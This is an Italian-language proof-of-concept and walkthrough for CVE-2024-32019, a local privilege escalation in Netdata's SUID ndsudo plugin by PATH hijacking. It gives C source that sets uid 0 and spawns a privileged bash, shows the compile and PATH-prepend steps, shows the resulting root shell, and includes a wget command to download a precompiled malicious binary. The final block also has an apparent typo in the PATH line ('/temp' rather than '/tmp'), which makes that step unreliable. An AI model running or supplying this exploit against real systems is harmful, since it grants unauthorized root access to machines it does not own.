
Workflow e POC per l'escalation locale dei privilegi in Netdata ndsudo (CVE-2024-32019)
Netdata ndsudo local privilage escalation workflow and POC (CVE-2024-32019)
[!TIP] Per favore leggi
Netdata è uno strumento che fornisce monitoraggio di applicazioni e sistemi, gira sulla porta 19999, facile da trovare:
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
Questa vulnerabilità (CVE-2024-32019) colpisce le versioni successive: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Possiamo fare una richiesta per conoscere la versione nell'header della risposta:
L'exploit si verifica sfruttando un PATH Hijacking di uno dei loro plugin, ndsudo, che si trova spesso in /opt/netdata/usr/libexec/netdata/ e che ha SUID.
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
Possiamo vedere cosa possiamo fare usando --help
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
Come possiamo vedere, poiché lo script contiene diversi comandi tra cui scegliere che cercano un eseguibile, possiamo sfruttare questo per creare il nostro eseguibile con lo stesso nome di uno degli eseguibili all'interno di un percorso che possiamo aggiungere alla variabile d'ambiente PATH.
Netdata usa C, di conseguenza, dobbiamo creare il nostro script in C e compilarlo.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
Poi, come discusso in precedenza, aggiungiamo il percorso dello script al $PATH
test@test:/tmp$ PATH=/tmp:$PATH
Infine, eseguiamo semplicemente il comando che punta al nostro eseguibile malevolo (arcconf-pd-info -> arcconf) e ci darà una shell con privilegi
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
Puoi scaricare lo script malevolo in C già compilato che ti darà una bash come root come menzionato nell'esempio precedente:
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp #If your target has Internet connectivity
scp ./arcconf test@test:/tmp/arcconf #If your target does not have Internet connectivity
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #The ndsudo path may change